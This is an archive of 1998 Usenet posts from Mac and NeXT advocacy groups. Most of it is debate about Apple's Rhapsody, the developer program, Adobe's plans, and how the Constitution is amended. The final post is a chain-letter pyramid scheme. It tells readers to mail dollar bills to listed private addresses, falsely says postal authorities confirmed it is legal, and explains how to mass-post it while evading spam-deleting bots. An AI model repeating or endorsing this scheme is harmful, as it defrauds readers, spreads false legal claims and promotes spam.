References: <trumbull-1404981049260001@net44-223.student.yale.edu> <B159695D-1AF11@207.217.155.17>
<6h328v$9sp$2@ironhorse.plsys.co.uk>
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Cc: malcolm@plsys.co.uk
In <6h328v$9sp$2@ironhorse.plsys.co.uk> mmalcolm crawford claimed:
> In <B159695D-1AF11@207.217.155.17> "Brad Hutchings" wrote:
>
> > I read Wil Shipley's little statement in Stepwise. I've gotta tell you,
> > it's getting easier and easier lately to let my cyncical evil side take
> > over my otherwise rational mind and hope that the NeXTies will get theirs
> > dished back at them sometime in the coming year.
Gee, how nice. Apple f**ked me over, so I hope they do the same to you.
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <slrn6jade3.4a9.jason@jhste1.dyn.ml.org>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35359a2d.0@206.25.228.5>
Date: 16 Apr 98 05:42:05 GMT
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Michael Peck wrote:
> >> Last time I checked, only Congress and the President in
> >> conjunction (barring a congressional override) can change the
> >> constitution.
Wrong stuff above, but the point was actually still apt. The
process of constitutional amendment is a government process itself.
> >More evidence that the Constitution limits the power of the
> >government, not the other way around. That's what you were trying
> >to say, right?
This is kind of a snake eating its tail. Government set up a regime
to limit itself, yet is free to change this limitation at anytime.
So I guess it just depends on which point of view from the ying-yang
you're talking.
> John's wrong about this process anyway.
Yup. The point, though, still holds; the process of amending the
constitution is still a government process. I completely mistated
the actual process (I hope posting the actual article cured any
confusion I may have caused).
> The states limit the power of the federal government, and the
> people limit the power of the states.
Yea, but the state legislatures are govenment entities. And so is
Congress with regard to amendment introduction. The process is
very much a government process, rather than a people process.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 22:30:34 GMT
Organization: I don't think so
Message-ID: <slrn6jade3.4a9.jason@jhste1.dyn.ml.org>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM>
Michael Peck wrote:
>> Last time I checked, only Congress
>> and the President in conjunction (barring a congressional override)
>> can change the constitution.
>More evidence that the Constitution limits the power of the government,
>not the other way around. That's what you were trying to say, right?
John's wrong about this process anyway.
>> Only those branches of the *government*
>> can and do amend the constitution.
>They amend the Constitution according to the Constitution. The
>Constitution cannot be self-modifying; unfortunately, it trades safety
>for expediency in the amendment process and subjects itself all too much
>to governmental whims. This is a flaw in the Constitution of the United
>States.
No - you both misunderstand. The Constitution of the _federal_ government
is under the control of the _state_ governments. Only the _states_ can
amend the Constitution. The states are (at least in theory) distinct
sovereign entities, beholden to their citizens.
The states limit the power of the federal government, and the people
limit the power of the states.
Supposedly. Obviously the system has broken down a bit over the years.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 17:34:59 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35353613.40E@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <slrn6jade3.4a9.jason@jhste1.dyn.ml.org>
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Jason S. wrote:
> >They amend the Constitution according to the Constitution. The
> >Constitution cannot be self-modifying; unfortunately, it trades safety
> >for expediency in the amendment process and subjects itself all too much
> >to governmental whims. This is a flaw in the Constitution of the United
> >States.
>
> No - you both misunderstand. The Constitution of the _federal_ government
> is under the control of the _state_ governments. Only the _states_ can
> amend the Constitution. The states are (at least in theory) distinct
> sovereign entities, beholden to their citizens.
I agree, and you make an important point (much to my embarassment, my
understanding of the Constitutional amendment process is just as bad as
John's).
Still, I don't think it entirely blunts John's point, which is that, in
any case, government controls the process, be it State or Federal
government.
It *is* relevant that State influence over the process more
fundamentally lies within popular control than does Federal influence,
and you're quite right to stress this. Although I don't believe that
healthy Federalism is the whole cure for government's ills, it is a good
starting point.
> The states limit the power of the federal government, and the people
> limit the power of the states.
>
> Supposedly. Obviously the system has broken down a bit over the years.
[applause]
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 06:20:46 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6h47vu$18b$1@new-news.cc.brandeis.edu>
References: <35343A8F.FE507500@trilithon.com> <6h2rnv$sek$1@cronkite.cygnus.com> <6h40he$rgu$2@ha2.rdc1.sdca.home.com>
In article <6h40he$rgu$2@ha2.rdc1.sdca.home.com> rr6013@yahoo.com writes:
>In <6h2rnv$sek$1@cronkite.cygnus.com> John Rudd wrote:
>>
>> My only gripes are why doesn't Apple make a deal with Cygnus instead of
>> Metrowerks, and make the software 'freeware' (in the Gnu sense, not the
>money
>> sense)... but that's just my personal biases :-)
>>
>>
>
>Amen... if Apple has the misfortune of dismissing "OpenSource" for their
>"Future" OS I think they may miss the future altogether.
>
>-r
>Rex Riley
I have yet to read the full text on OpenSource (Eric Raymond's
presentation that inspired Netscape to go OpenSource), but I read the
interview with him at www.salonmagazine.com
I don't think now is the time for Apple to go OpenSource, for a lot of
reasons which I won't delve into at the moment. Rather, Apple is in the
unique position of playing both sides of the game - MacOSRumors posted a
letter from the OpenBSD maintainers that they gave permission to Apple to
integrate the OpenBSD codebase into Rhapsody. (OpenBSD's forte is
encryption and security, arguably two big weaknesses in NS/OS.) OpenBSD
is not under GNU, and the source can be integrated into a commercial
product with no penalties or restrictions save the permission of the
maintainers, yet the source is also open and free. Thus, Apple gains the
core benefits of an OpenSource project while keeping the unique aspects of
their product commercial and protected. Seems like a win-win situation.
--
Nathan Raymond
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 17:39:57 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3535373D.1BD6@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2ct8$88a$2@ns3.vrx.net> <6h353h$thn$1@crib.bevc.blacksburg.va.us> <6h2m5g$fbp$2@ns3.vrx.net> <6h3cnp$to7$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> I dunno, where's their niche? If there really _are_ a number of
> dual-boot Linux/Windows boxes, maybe. But it would also depend on
> what those client-side Linuxes are _used_ for. If it's primarily for
> a certain class of X apps, then Rhapsody probably won't take over (yes,
> I know about the availability of X under Rhapsody, but it's not as good
> as "native"). If it's just for generic, non-Windows client-side stuff
> that you'll be able to find Rhapsody variants of, then Rhapsody could
> make a dent since its client-side apps will likely be superior.
I think it can be as simple as this: Windows is used for games and
Photoshop. Linux is used for everything else.
Linux use is X-based, obviously. There is no fundamental reason for
this, apart from the fact that XFree86 is, well, free. There is no
reason to believe that Rhapsody could not storm the market for dual-boot
Windows/Linux boxes, were it properly designed to do so. It wouldn't
really take much effort, apart from *listening* to those customers.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: tonyn@tiac.net (Tony Nelson)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Wed, 15 Apr 1998 19:47:45 -0400
Organization: <none>
Message-ID: <tonyn-1504981947470001@tonyn.tiac.net>
References: <6gpc8q$7f9$1@hecate.umd.edu> <handleym-1404980057520001@handma.apple.com> <3534065A.B21386F3@adr.dk>
In article <3534065A.B21386F3@adr.dk>, faster@adr.dk wrote:
> The only reason I can see for making Apple's computers faster, is to convince
> people that it /really/ is faster than the PCs. But it already is faster than
> the PCs, so the next step would be... It has to be faster than tomorrow's PCs.
> Those with the promised 1.5GHz Digital-chip.
Well, not from what I hear. File I/O is way behind NT, and most
especially for smaller tranfers. Games benefit from the sloppy math in
Intel CPUs, not to mention the semi-reasonable assumption of certain
hardware accelerators. Just bening fast on ByteMarks is not enough.
____________________________________________________________________
TonyN.:' tonyn@tiac.net
' Looking for future Mac programming work.
Date: Wed, 15 Apr 1998 20:03:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Message-ID: <joe.ragosta-1504982003550001@elk35.dol.net>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu> <6h2lv1$fbp$1@ns3.vrx.net>
In article <6h2lv1$fbp$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <6h351d$cfh$1@new-news.cc.brandeis.edu> Nathan G. Raymond claimed:
> > Now Apple could quite concievably walk in less than a year from now with
> > Rhapsody running on Mach 3.0 doing SMP on a G4 and, with hardware similar
> > to their AIX servers, and the right marketing push and price-point, make
> > some headway into the workstation market.
>
> The issue there is credibility as I see it. Apple simply isn't a Unix
> vendor.
Not today. But why can't that change?
NeXTStep was very highly regarded. If Rhapsody retains its fundamental
stability and power, Apple could quickly become a major player in this
market.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Thu, 16 Apr 1998 02:04:01 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <3535BB71.62D5FF12@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <slrn6jade3.4a9.jason@jhste1.dyn.ml.org> <35359a2d.0@206.25.228.5>
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John Kheit wrote:
> > The states limit the power of the federal government, and the
> > people limit the power of the states.
>
> Yea, but the state legislatures are govenment entities. And so is
> Congress with regard to amendment introduction. The process is
> very much a government process, rather than a people process.
That's not the point (as you'll see if you review the thread). The
discussion isn't about democracy, it's about liberty and free-market
economics.
And you're wrong; the amendment process isn't a government process. It's
a Constitutional process. Government doesn't establish the Constitution,
nor does it uphold it. It fights it, plain and simple. The Constitution
explicitly protects the public from government (maybe you should post
Article 1, Section 8, too), not the other way around.
MJP
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 98 18:09:09 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B15AA852-2C905@207.217.155.85>
References: <steve-1504980955100001@oranoco.discoverysoft.com>
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nntp://news.earthlink.net/comp.sys.next.advocacy
Steven Fisher writes:
>The bottom line is that $500 U.S. is out of range for many starting
>shareware developers. It is ludicrous for freeware developers.
And it's a decision for many commercial developers. The old program
features and cost, coupled with the "open" Apple of 16 months ago made the
enroll/renew decision a no-brainer, even for developers who didn't buy
hardware, or bought on the employee discount when they could have got any
of their Apple friends or developer friends to (ethically) make such
purchase for them.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 98 18:20:04 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B15AAADD-361EF@207.217.155.85>
References: <joe.ragosta-1504981615000001@wil73.dol.net>
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Joe Ragosta wrote:
>I'm not sure what the value of this is. Very, very few people even knew
>what to do with document-centric programming. For the vast majority, it
>was just an app like all the rest. Even the majority of Brad Hutchings'
>customers appear to use his shareware as a vendor-supplied app--not a new
>programming paradigm.
Joe, unless you've broken into my computer and stolen information, you
don't know squat about my customers, or a majority of them, or anything
like that. You have again set up a typical Joe Ragosta strawman.
You also don't know much about my product. It is not shareware in any sense
of the word. It is priced as "feature-ware", so customers have the
flexibility to bloat as they wish. I also maintain a very informal, open
channel of communication with customers and potential customers. But that
doesn't make it shareware, and frankly, I don't appreciate the
mis-characterization.
What is this crap about a "new programming paradigm" anyway? My customers
don't have to do any programming to make my software work. Get a clue.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 16 Apr 1998 01:40:50 GMT
Organization: Indiana University, Bloomington
Message-ID: <6h3nj2$frm$1@jetsam.uits.indiana.edu>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h1vtt$os8$15@ns3.vrx.net> <6h38hk$dv6$1@flotsam.uits.indiana.edu> <6h2nsv$fbp$7@ns3.vrx.net>
In article <6h2nsv$fbp$7@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <6h38hk$dv6$1@flotsam.uits.indiana.edu> Gregory Loren Hansen claimed:
>> I mean, what are businesses and consumers going to do about it,
>> switch from Windows to MacOS or Linux because they have to pay $15 for
>> every call they make to tech support?
>
> Well that's the thing, users NEVER seem to consider this when making their
>product choices - we learned this at our last job much to our surprise.
Sounds like you're in the know. What kind of work have you done?
> Either way though the overall cost of sales is no longer in any way
>specifically tied to development - in fact development costs often remain
>flat after initial growth spurts regardless of what else is going on. Other
>cost factors become more important (putting the people in a room for
>instance, DOA materials etc.)
What's DOA?
>and I believe the industry average is that
>something on the order of 20% to 30% of net income goes to development - and
>here's the interesting part - regardless of the size of the company. Thus
>the posit that more sales means better return does not appear to be true.
I would hope that even 20% to 30% for development means the company is
doing MORE development when it gets bigger, and putting out more or bigger
or better products.
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 98 01:05:52 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B15B0A02-19BCA8@207.217.155.85>
References: <6h43mj$fr9$1@news.digifix.com>
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nntp://news.earthlink.net/comp.sys.next.advocacy
Scott Anguish wrote:
> Apple's existing Mac OS developers have an almost manical
>devotion to Metrowerks development environment.
Scott- You've been around the Apple scene for 16 months now. If you haven't
figured this one out, let me explain it for you. Metrowerks saved Apple's
sorry butt during PPC transition. They literally came out of nowhere to
save the company. The kludge of a compile/debug/test environment that Apple
tried to push on developers in the early days of PPC could have easily led
to its demise.
Let me put it another way. If it hadn't been for Metrowerks during PPC
transition, Apple wouldn't have been around to buy out NeXT.
That aside, Metrowerks doesn't rest on its laurels. Each release of
CodeWarrior is absolutely amazing to all of Metrowerks' customers.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: 16 Apr 1998 10:57:19 GMT
Organization: P & L Systems
Message-ID: <6h4o6f$9sp$9@ironhorse.plsys.co.uk>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul>
<6h3tmu$dpg$1@news.digifix.com> <01bd6927$5321b180$24f0bfa8@davidsul>
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Cc: macghod@concentric.net
In <01bd6927$5321b180$24f0bfa8@davidsul> Mr Sullivan of Santa Barbara, CA,
aka "NeXT Newbie" wrote:
> Well if the statement that was made is untrue, all the better
> Some of the benefits of rhapsody would be greatly unused if Adobe didnt
> have its products out for Rhapsody.
>
Bunkum.
Adobe is by no means the only company whose products would make most use of
Rhapsody's features, indeed I'd argue that in fact they'd make less use of
them than many others.
> Yay, rhapsody is out with its great support for
> multi-processors. Oops, but their is no photoshop :P
>
So? You can either run PhotoShop on BlueBox, or use a product which does
make considerable use of Rhapsody's benefits, such as TIFFany:
http://www.caffeinesoft.com/
> That would not be good. But doesnt adobe already have most of their
> products out for unix?
>
So...?
> > Thats not true Stephen..
> > Adobe didn't make any sort of public statement of the type.
>
> True, as you clarify a formal statement was not made
>
So why did you wantonly claim "Adobe has PUBLICLY stated that at this point
they have no intention of porting theeir products to rhapsody because
"rhapsody is being portrayed as
a high end and server os"" -- knowing this to be a falsehood?
> > Funny, but Adobe has sent folks to the Developer Kitchen for
> > training in recent history (say, the last 2 months) according to my
> > sources...
>
> What is the developer kitchen?
>
Developer training. Apparently there were a number of Adobe folks at a
recent training session. I guess they must have just been there to check out
the wallpaper.
mmalc.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35359e86.0@206.25.228.5>
Date: 16 Apr 98 06:00:38 GMT
Michael Peck <ECK@CONVEX.COM> wrote:
> Check again. The United States Constitution was written by a
> Congress of individuals who had no governmental authority whatsoever
> in the context of that Congress. The Constitution was independently
> ratified by the thirteen colonial States.
> Which government body, exactly, is responsible for the United
> States Constitution, John?
The colonial state governments.
> > Last time I checked, only Congress and the President in
> > conjunction (barring a congressional override) can change the
> > constitution.
> More evidence that the Constitution limits the power of the
> government, not the other way around. That's what you were trying
> to say, right?
More evidence that sleep depravation will generates some pretty
incredible blatherings on my part. %-)
> > It's all government action. At a certain point, *pure*
> > libertarianism starts to sound like anarchy.
> I don't know what you mean by "*pure*" Libertarianism; it sounds
> like you've extrapolated to extremes certain characterists which
> you hold to be definitive. I doubt you really know what Libertarianism
> stands for.
You're probably right on me not knowing. I just know it from the
popular press, which means a trite knowledge. What I hear many
purported libertarins espouse is the minimization of government
involvement. Taken to its absurd extreme, a purification if you
will, it seems like that minimization could result in no government
involvement.
> > I don't believe *true* libertarianism abhors all government
> > action. They want to keep it to an absolute minimum. That
> > includes constitutions, changes to it, defense, and basic
> > facilities to keep order.
> Constitution is an inherently extra-government entity. The whole
> point behind Constitutionalism is that it governs government and
> public equally. If government is not subject to the dictates of
So do many other laws. Many laws describe, not only what individual
citizens must do, but what the government, may, must, and may not
do. The Constitution is not alone in this capacity.
> the Constitution, the Constitution is a sham and the government
> is a Divine Right autocracy. Call it what you will, the authority
I agree.
> of the government is derived from somewhere; if a government
The authority, ultimatly flows from the people. The people that
agree to be bound and abide by the government. Nothing stops
everyone, tomorrow, just saying, eh, heck with them stinky laws.
No one would even have to bother going through any official legal
procedure to do it. We could all just go to the beach and eat pie.
Not likely, but a theoretical possibility.
If I got things straight (take this with a grain of salt, I'm going
on 49 hours with no sleep %-), we came to colonies. The colonies
had these little provisional governments formed to take care of
mundane government kind of things. We broke off from England and
those colonial governments, with representatives, came up with the
constitutions. The constitution was always in the hands of some
government body throughout the history of the US. I may well have
this wrong. I haven't been a big student of the federalist papers.
> which disregards the Constitution is fundamentally a democracy,
> then democracy itself is a statist political system. I think the
> United States of 1998 generally reinforces that notion.
Well, it's a representative government. That means we have government
folks going through government processes, supposedly representing
the people's will. But I think things like prohibition show just
how that translates.
> > I think there is such a reliance on government in libertarianism,
> > though a minimalist one, and that is what keeps it from sliding
> > down the slippery slope into anarchy.
> You are missing the fundamental point, John. It's not like I
> haven't said this before. What keeps libertarianism from slipping
> into anarchy is *Law*, not *government*.
Who makes law? Government.
> Let's take a moment and make sure we're all clear on this.
I'm clearly missing your point. It might have a lot to do that I
don't know much about libertarianism (among other things).
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: 16 Apr 1998 03:25:18 GMT
Organization: Digital Fix Development
Message-ID: <6h3tmu$dpg$1@news.digifix.com>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul>
In-Reply-To: <01bd68f3$0ee25ee0$41f0bfa8@davidsul>
On 04/15/98, "NeXT Newbie" wrote:
>Maybe this is true, but its also true that Adobe has PUBLICLY
>stated that at this point they have no intention of porting theeir
>products to rhapsody because "rhapsody is being portrayed as a
>high end and server os"
Thats not true Stephen..
Adobe didn't make any sort of public statement of the type.
Some representative (unnamed) claimed that they weren't
looking at it in a MacWeek quote. Hardly a public statement of
direction from Adobe proper.
Funny, but Adobe has sent folks to the Developer Kitchen for
training in recent history (say, the last 2 months) according to my
sources...
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: CatherineW@icarus.com
Subject: You Just Can't Lose
Newsgroups: comp.sys.next.advocacy
Organization: ME
Message-ID: <3534c134.0@193.15.242.210>
Date: 15 Apr 98 14:16:20 GMT
So, do you want to make money? If you have ONLY US$6 or a bit more(6
stamps), you can do it!!!
*******************************************************
PLEASE READ ON ABOUT HOW TO BE SUCCESSFUL
*******************************************************
1. IS THIS REALLY LEGAL??
I called a lawyer first. The lawyer was a little skeptical that I
would actually make any money but he said it WAS LEGAL if I wanted to
try it. I told him it sounded a lot like a chain letter but the
details of the system (SEE BELOW) actually made it a legitimate legal
business.
2. Would the Post Office be ok with this....I called them:
1-800-725-2161 and they confirmed THIS IS ABSOLUTELY LEGAL! (See Title
18,h sections1302 NS 1341 of Postal Lottery Laws). This clarifies the
program of collecting names and addresses for a mailing list.
3. Is this moral? Well, everyone who sends me a buck has a good
chance of getting A LOT of money ... a much better chance than buying
a lottery ticket!!!
============
HOW IT WORKS
============
Mail the 6 envelopes to the following addresses:
STEP 1:
Get 6 separate pieces of paper and write the following on each
piece of paper:
PLEASE ADD ME TO YOUR MAILING LIST.
$1 US DOLLAR PROCESSING FEE IN ENCLOSED.
(THIS IS KEY AS THIS IS WHAT MAKES IT LEGAL SINCE YOU ARE PAYING FOR
AND LATER OFFERING A SERVICE).
Now get 6 $1.00 bills and place ONE inside EACH of the 6 pieces of
paper so the bill will not be seen through the envelope to prevent
theft/robbery (Add colored paper for example;this will turn your
bill invisible and the letter still light).
Then, place one paper in each of the 6 envelopes and
seal them. You should now have 6 sealed envelopes, each with a piece
of paper stating the above phrase and a U.S. $1.00 bill.
#1 Ronald Stevens
20 Lordly court
Kings Park NY 11754
USA
#2 J. Turley
P.O. Box 50604
Knoxville, TN 37950-0604
USA
#3 K. Agler
109 Fraternity Ct.
Chapel Hill, NC 27516
USA
#4 R Sauter
3500 Crescent Ct
Flower Mound, TX 75028
USA
#5 Catherine Watkins
P.O. Box 67
Chapel Hill, NC 27514-0067
USA
#6 Ryan
1201 Holleybank Dr.
Matthews, NC 28105
USA
STEP 2:
Now take the #1 name off the list that you see above, move
the other names up (6 becomes 5, 5 becomes 4, etc...) and add YOUR Name
as number 6 on the list. (If you want to remain anonymous, put a
nickname, but the address MUST be correct. It, of course, MUST contain
your country, state/district/area, zip code, etc!!! You wouldn't want
your money to fly away, would you?!?!).
STEP 3:
Now post your amended article to at least 200 newsgroups.
Remember, 200 postings is just a guideline. The more you post, the more
money you make!
NOTE:
IN MANY NEWSGROUPS THERE ARE PEOPLE THAT DELETE THIS KIND OF MESSAGES
I RECOMEND YOU TO POST 1 OR EVEN 2 TIMES A WEEK TO 300 NEWSGROUPS SO OTHER
PEOPLE CAN SEE YOUR MESSAGES.THIS IS A WAY TO INCREASE THE
POSSIBILITIES
FOR YOU TO GET MORE MONEY!!
------------------------------------------------------------------------
The TOP 200 newsgroups can be found at --->
www.op.net/usenet-stats.html
*** BOTS ***
Bots are small computer programs on a usenet server.
1) Bots look for certain characters in the "Subject:" field of your
newsgroup posting.
2) Bots also look for "multiple postings".
3) If a Bot discovers any of the above, it will delete your posting.
4) Then send you a nasty e-mail.
***OUTSMART THE BOTS***
1) You will make a lot MORE money if you outsmart the BOTS.
2) Post your message only ONCE.
3) Do NOT use characters such as (! $ % + # & * @ ?) in the "Subject"
field.
------------------------------------------------------------------------
> ------------------------------------------------------------------------
> **REMEMBER, THE MORE NEWSGROUPS YOU POST IN, THE MORE MONEY YOU
> WILL MAKE!! BUT YOU HAVE TO POST A MINIMUM OF 200**
> That's it! You will begin receiving money from around the world within
> day's! You may eventually want to rent a P.O. Box due to the large
> amount of mail you receive. If you wish to stay anonymous, you can
> invent a name to use, as long as the postman will deliver it.
> **JUST MAKE SURE ALL THE ADDRESSES ARE CORRECT.**
>-------------------------------------------------------------------------
=================
Now the WHY part:
=================
Out of 200 postings, say I receive only 5 replies (a very low
example). So then I made $5.00 with my name at #6 on the letter. Now,
each of the 5 persons who just sent me $1.00 make the MINIMUM 200
postings, each with my name at #5 and only 5 persons respond to each of
the original 5, that is another $25.00 for me, now those 25 each make
200 MINIMUM posts with my name at #4 and only 5 replies each, I will
bring in an additional $125.00! Now, those 125 persons turn around and
post the MINIMUM 200 with my name at #3 and only receive 5 replies
each, I will make an additional $626.00! OK, now here is the fun part,
each of those 625 persons post a MINIMUM 200 letters with my name at
#2 and they each only receive 5 replies, that just made me $3,125.00!!!
Those 3,125 persons will all deliver this message to 200 newsgroups
with my name at #1 and if still 5 persons per 200 newsgroups react I will
receive $15,625,00! With a original investment of only $6.00! AMAZING!
And as I said 5 responses is actually VERY LOW! Average is probable 20 to 30!
So lets put those figures at just 15 responses per person. Here is
what you will make:
at #6 $15.00
at #5 $225.00
at #4 $3,375.00
at #3 $50,625.00
at #2 $759,375.00#1 $11,390,625.00
When your name is no longer on the list, you just take the latest
posting in the newsgroups, and send out another $6.00 to names on the
list, putting your name at number 6 again. And start posting again.
The thing to remember is, do you realize that thousands of people all over
the world are joining the internet and reading these articles everyday,
JUST LIKE YOU are now!! So can you afford $6.00 and see if it really
works?? I think so... People have said, "what if the plan is played out
and no one sends you the money? What are the chances of that
happening when there are tons of new honest users and new honest people
who are joining the internet and newsgroups everyday and are willing to
give it a try? Estimates are at 20,000 to 50,000 new users, every day,
with thousands of those joining the actual internet.
Remember, play FAIRLY and HONESTLY and this will work. You just have to
be honest.
** By the way, if you try to deceive people by posting the messages
with your name in the list and not sending the money to the rest of the
people already on the list, you will NOT get as much. Someone I talked
to knew someone who did that and she only made practically nothing, and that's
after seven or eight weeks! Then she sent the 6 $1.00 bills, people
added her to their lists, and in 4-5 weeks she had over $10k.
This is the fairest and most honest way I have ever seen to share the
wealth of the world without costing anything but our time!!! You also
may want to buy mailing and e-mail lists for future dollars.
Make sure you print this article out RIGHT NOW! Also, try to keep a
list of everyone that sends you money and always keep an eye on the
newsgroups to make sure everyone is playing fairly.
Remember, HONESTY IS THE BEST POLICY. You don't need to cheat the
basic idea to make the money!!
GOOD LUCK to all and please play fairly and reap the huge rewards
from this, which is tons of extra CASH.
Please remember to declare your extra income. Thanks once again...
________________________________________________________________________
--
